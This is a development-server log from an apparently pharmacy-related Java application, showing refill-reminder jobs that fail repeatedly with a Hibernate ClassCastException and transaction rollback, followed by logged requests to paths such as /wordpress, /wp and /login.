false 2024-02-26 08:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 08:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 08:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:30:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 08:30:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:30:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:30:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:30:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:30:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 08:30:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:35:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-26 08:35:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-26 08:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-26 08:35:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-26 08:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:35:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:35:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-26 08:35:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:35:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-26 08:35:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-26 08:35:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-26 08:35:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:43 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/wordpress 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:43 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 08:37:43 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:43 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/ 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:43 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:43 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 08:37:43 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/wp 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/login 2024-02-26 08:37:44 WARN PageNotFound:198 - Request method 'HEAD' not supported 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:37 - Begin: RequestFilter -> doFilter ################### @@@@@@@@@@@@@@@@@@@@@@ https://compliancereward.ssasoft.com 2024-02-26 08:37:44 INFO RequestFilter:38 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:47 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:64 - RequestFilter -> doFilter -> Application URL:https://compliancereward.ssasoft.com/login IP: 0:0:0:0:0:0:0:1 Requested URL:/bc 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-26 08:37:44 INFO RequestFilter:37 - 